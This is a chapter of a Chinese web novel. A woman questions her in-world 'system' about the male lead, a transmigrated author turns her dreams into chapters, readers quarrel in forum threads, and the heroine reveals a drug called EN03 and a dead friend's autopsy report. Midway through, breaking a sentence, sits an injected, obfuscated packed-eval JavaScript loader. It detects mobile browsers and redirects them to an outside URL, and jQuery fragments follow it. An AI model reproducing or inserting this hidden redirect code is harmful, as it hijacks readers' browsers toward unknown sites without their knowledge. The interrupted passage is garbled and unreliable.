入夜，沈清辞坐在书桌前写写画画。
她难得主动在系统面前提起赵开阳：“赵开阳在书里是什么样的人？”
这不算是什么秘密，系统也就没故弄玄虚。不知道是不是在沈清辞的洗脑下，它的核心数据发生了变化，它有些一言难尽：【他很爱你。】
沈清辞嗤笑：“崩人设会有什么后果？”
【和人设比起来，剧情的走向更加重要。】
沈清辞用笔草草画了一个三角形，又画了一个巨大的圆。
她把这张纸铺在书桌上，冷冷地看着那个圆。
系统不知道她在画什么，又继续说道：【赵开阳现在的人设是阴湿小狗。】
【最重要的就是爱却不敢靠近，但又忍不住想要争夺。】
“哦，那就是自卑男既要又要。”沈清辞一针见血地指出。
系统想要辩解，但发现现在赵开阳的种种行为的确像沈清辞说的那样。
难得的，它的电子音听起来有些闷闷不乐：【也许是吧。】
【观察者记录的世界和真正的世界也许存在很大的偏差。】
*
陆云晞又做梦了。
这次的梦和之前一样，没有开头也没有结尾，莫名地出现在梦中。
她浮在空中，注视着男人冲到女人面前给她挡刀，即使旁边有着很多位身强力壮的保镖。
醒来的时候，她没有像往常立马打开电脑，将这段灵感写进书里。
她开始思考，这是梦，还是发生在世界某个角落的事情，以梦境的方式出现在她的脑海里。
因为，她好像听见了女人喊男人“赵开阳”。
她第一次静下来思考自己穿越的事，穿到一个几年后的世界，灵魂寄居在容貌相似的一具身体里。
她坦然地接受自己的命运，甚至算得上适应良好。
然后她开始写小说——契机是某个被推送到首页的小蓝书帖子。
那么她为什么要写一个主角名为沈清辞和赵开阳的爱情故事？
假如这个故事不是她想出来的，她又是怎么写出来的？
那些过去一段时间被忽略的细节，一点一点地浮现出来，她似乎是木偶戏里缺失的某个角色，被牵上线放置在某个位置，顺从地开始表演。
莫名的，她有些厌倦她喜爱的小说，无神地望着天花板。
叮咚。
编辑发来新消息：【宝宝，作品上了首页的佳作推荐榜哦！】
【请记得更新。】
前段时间看上去会欣喜的消息，此刻也显得分外狰狞。
陆云晞坐在了电脑前，键盘发出清脆的敲击声，她开始写新的章节。
手托着下巴，思索着怎么构思新一章的情节。
前期主要写得都是女主帮助男主，该安排一点男主救女主的剧情了，这样男主也不至于变成没用的背景板。
她顿了顿，有些恍惚。
【荒凉的城北，散布着废弃的工厂。
沈清辞下车的时候瞥了眼腕表，赵开阳还没有到，快到她们约定的时间了。
武德和其她保镖跟在沈清辞身后，她们围成一道密不透风的墙，势必要护卫沈清辞的安危。
是以，当那两个人拿着刀冲出来的时候，她们以极快的速度预备挡在沈清辞面前，却被一道更快的人影抢先了。
沈清辞定睛一看，原来是赵开阳。
他拍着胸口喘着气，带着仿若劫后余生般的庆幸，担忧溢出他平日里并不算明朗的眼：“还好你没事。”】
陆云晞将章节上传之后，就准备出门散散心，她有种说不出的劳累，急需呼吸新鲜的空气疏解烦闷。
细究原因，她却说不上来是为什么。
要不去道观里住几天？有点太夸张了，她很快否决了这个想法。
最近好像总是做梦，她打开小蓝书，在搜索栏输入“多梦的原因”。
“睡觉时总是梦到一个人，说明你和ta的缘分未尽，却苦于现实生活中没有办法产生交际，所以……”脸颊上耷拉着两坨肉，唾液似乎随时都能飞出屏幕的人正侃侃而谈。
知性短发的女人，红唇一张一闭，说出惊悚的话语：“知道为什么总是梦到一个人吗？是因为你忘不了那个ta……”
“谁规定的做梦只能梦见一个人？”陆云晞嘴里念念有词，“难道不能梦到一群人吗？”
她模仿着视频里的语气：“睡觉时总是梦到一群人，知道是为什么吗？因为人的心太大了，总是忘不了那一群人……”
陆云晞说着说着，把自己逗笑了，解梦的帖子点开，几乎全是山路十八弯拐到“忘不了ta”上，要是自己写感情线有那么会想就好了。
知道从小蓝书的帖子上得不到回答，她所幸自己发了个帖子：【晚上做梦总是梦到一群人在做一些事是为什么？没有喜欢的人！没有暧昧对象！】
发完这个帖子，陆云晞简单收拾了一下，出门散心去了。
*
最新一章算是小小的嗑点，评论区很是热闹，盖起了高楼。
标题：【你们真的不觉得赵开阳很爱沈清辞吗】
1L：【别说了他超爱】
2L:【一个很好嗑的点：其实大小姐身边有很多保镖，但是小狗还是冲了出来保护主人】
3L：【小狗不懂什么是危险，但小狗懂什么是爱（眼泪汪汪emoji.）】
4L：【就喜欢跟着你们一起吃饭】
5L：【感觉男主很心机诶，其实是看到了女主身边有保镖故意冲出来捡功劳吧，感动了0个人，自己感动得热泪盈眶吧……】
6L：【我也觉得，男主很莽，完全不动脑啊】
7L：【哪怕是陌生人冲出来，正常人都会感动吧，还怪上男主了。。这不是女主自己惹出来的事吗】
8L：【起承转女……】
9L：【两人现在感情线其实没什么进展，这个剧情应该没有表面那么简单，可能是伏笔，大胆一点万一是女主设计的呢】
10L：【楼上说得有道理，骂女主罚你再看看书名，这本书写出来就是围着女主转的，望周知】
11L：【看得我有点肌无力了…性转一下，女主莫名其妙冲出来，不知道有多少人骂女主没脑子只会莽了…男主冲出来就变成嗑点了…】
另外一个标了“火热讨论中”的帖子是对陆云晞的控诉。
标题：【没人觉得这本书的作者精神有点不正常吗？】
1L：【帖主一般不会上升到作者本人的，但是这本书看得我真的是莫名其妙，搞不懂作者到底想写什么。抱歉，字数可能有点多，但实在是很想一吐为快。
我是被千金大小姐vs阴湿小狗的人设骗进来的，我以为是阴湿小狗强取豪夺的那种类型，没想到作者写成这样了。作者你有多恨你笔下的男主，把他写成这样？目前已知的，男主小时候没有住在赵家，原因未知，按照套路来说，男主应该是被拐走或者自己走丢了，所以他根本就没有得到什么亲人的爱。
男主和女主相处过程中，几乎全是女主更厉害的描写，我真的不想看这种阴谋论的剧情。。两个人好好谈恋爱不好吗？
总之，作者你对男主好点吧。别太狠了……】
2L:【我是帖主本人，再补充一点，帖主不是重度男主控哈，别误会了！其实是重度女主控，不希望我们女宝太辛苦了哇。】
接下来的评论区全是“点了”“智齿”这样的评论，李思锐刷到这个帖子时，觉得无力极了。
她把帖子分享给了陆云晞：【我真的求了】。
也不知道陆云晞又在干什么，过了很久都没回消息。
*
“上次多亏了赵先生，我才没有受伤。”沈清辞说着话，武德将手上的礼盒递给赵开阳。
赵开阳说着不用这么客气，却试探着伸出手接过礼盒。
他认得这个牌子，是有名的腕表品牌。
武德莫名地看了赵开阳一眼，又很快移走了视线。
赵开阳默默攥紧了拳头，屈辱自心底蔓延开，许是他的情绪波动太强烈，引来了沈清辞的注意，望着她那双清冽、直击灵魂深处的眼睛，赵开阳觉得她似乎能看透自己的想法，很快整理好自己的情绪。
“之前沈小姐也救过我，不用把这件小事放在心上。”
沈清辞笑笑：“救命之恩当然不能算是小事，赵先生救了我，我也应该懂知恩图报的道理才对。”
明明是再正常不过的一句话，赵开阳却觉得其中似乎有无限的魔力——这次是换来一块腕表，那要是更危险的时候救下沈清辞呢？
他的心脏跳动着，发出如雷的声响，他极力克制住自己激动的心。
“沈小姐还帮我调查了陈墨哥的事……”赵开阳一个字一个字地往外念着台词似的，“要说谢谢，应该是我对沈小姐说。”
“那天本来想约你在城北说有关陈墨的事……没想到会越到有人行凶……”沈清辞说得很慢，言语间格外谨慎，“实在是不知道这件事该不该被你知道……”
她停下来，观察着赵开阳的反应，不出她所料，赵开阳听到陈墨，一下回过神来，回味过来沈清辞话里的意思，他的眼神开始闪躲，不过他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963288|193340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快振作起来：“沈小姐就告诉我吧，陈墨哥死得不明不白的，我想知道他为什么会遇到这样的事……”
沈清辞叹了口气：“陈墨他……”
她眼神里藏着惋惜，赵开阳被这样的眼神注视着，不安涌上心头，理智和情感在头脑里打着架，他不该听接下来的话，听了接下来的话怎样才能表现得像他？
可是沈清辞没给他太多思考的机会：“你知道EN03吗？”
“我……我不知道。”
“陈墨他被EN03控制住了，你知道他平时有什么表现怪异的地方吗？也是他对你很好，我是知道的。他后来是被EN03控制了所以才会表现得很奇怪。但你也不要太伤心了，即使你想给他报仇。”
不，他不想给陈墨报仇。这个想法第一时间出现在了赵开阳的脑海里，他从小到大的幸运预感告诉他，他不该掺合进这样的事里。
他的人生好像要改变了，他突然冒出了这个念头。
但是被沈清辞看着，他说不出拒绝的话，他只能看着她又张开嘴继续说着：“陈墨染上EN03，做了很多不好的事。”
她偏头示意武德，武德适时地递给他一个牛皮文件袋。
“打开看看吧。”她温柔地说着不容拒绝的诱惑，“如果你还需要我，我会站在你这边的。”
赵开阳木然地拆开了文件袋，里面是一些照片和陈墨的尸检报告。
他的手微微颤抖着，分不清是因为恐惧亦或是其它的原因。
不要打开它。
他的心底有道声音肯定地说着。
他抬头想要躲避却又望进沈清辞的眼。
于是他的目光落在了那些照片上。
陈墨极具反差的一面就这样撞进他的视线里，他听见自己难以置信的声音充斥在这片空间里：“这是什么？”
“如你所见，只是陈墨平时做的一些事。”
其实陈墨的面庞在他记忆已经逐渐模糊，他不知道自己为什么要执着于陈墨的死，他一点也不想知道。
陈墨哥、是个外向温柔好说话的人，所以才能在短时间内和他熟悉起来，陈墨哥总是关心他。可是此刻，他只觉得胃里翻腾出来恶心的感觉。
“是因为EN03？”他为他找了个体面的理由，“他……他不是这样的人。沈小姐，你要相信他。”
沈清辞几乎想要发出不合时宜的笑声，瞥见赵开阳震惊的表情，她很好地收敛起这些情绪：“抱歉，不该把这些拿给你看的。”
“实在是……”
她的语气有些受伤，赵开阳立马开口：“这不怪你，是我太震惊了……”
“陈墨哥对我很好，我一时有些接受不了。”
“赵先生，请节哀，我相信这并非出于陈墨的本意，是EN03。”
她反复强调EN03的存在，终于引起了赵开阳的注意。
“EN03是什么？”
“一种能让人堕入地狱的药。”
沈清辞的话回荡在赵开阳耳边，久久未能散去。
【EN03是什么？】
这次是系统问的。
“你不是听见了吗？”沈清辞心情很好，也就不再吝惜多说几句话，“一种能把人变成恶魔的药。”
【我不知道还有这样的东西存在在这个世界里。】
“这个世界里似乎有很多你们不知道的东西。”沈清辞说得戏谑又讽刺，“你可以慢慢探索。”
【你要看看评论关于最新剧情的探讨吗？】
这提醒了沈清辞：“当然。”
她熟练地打开小说评论区，有一段时间没看，评论区变得更丰富了。
“看来你们的世界也并不是所有人都爱你说的那些剧情。”
“还是有人喜欢我啊。”
不难听出她话里的雀跃，系统这时候才想起，沈清辞其实也是个年轻的女孩。
“噗呲。”
沈清辞发出笑声，系统“看向”她的手机屏幕，“重度女主控”几个字挤入它的光脑，作为一串数据，它也感受到了难言的尴尬。
自从跟了沈清辞，它的光脑总会在某些时候宕机。
“真不知道你们世界的这些人平时都在想什么。”
“为什么要用爱我来掩饰她爱赵开阳啊？”
【我也不知道。】
【或许是……】
系统编不出来了，沈清辞也不在意它的回答，评论区是个好东西，她可以通过评论区的一些评论推测出她的目标读者。
看来也不是没有嘛，她默默感叹着，这不是有读者开始讨厌赵开阳了吗？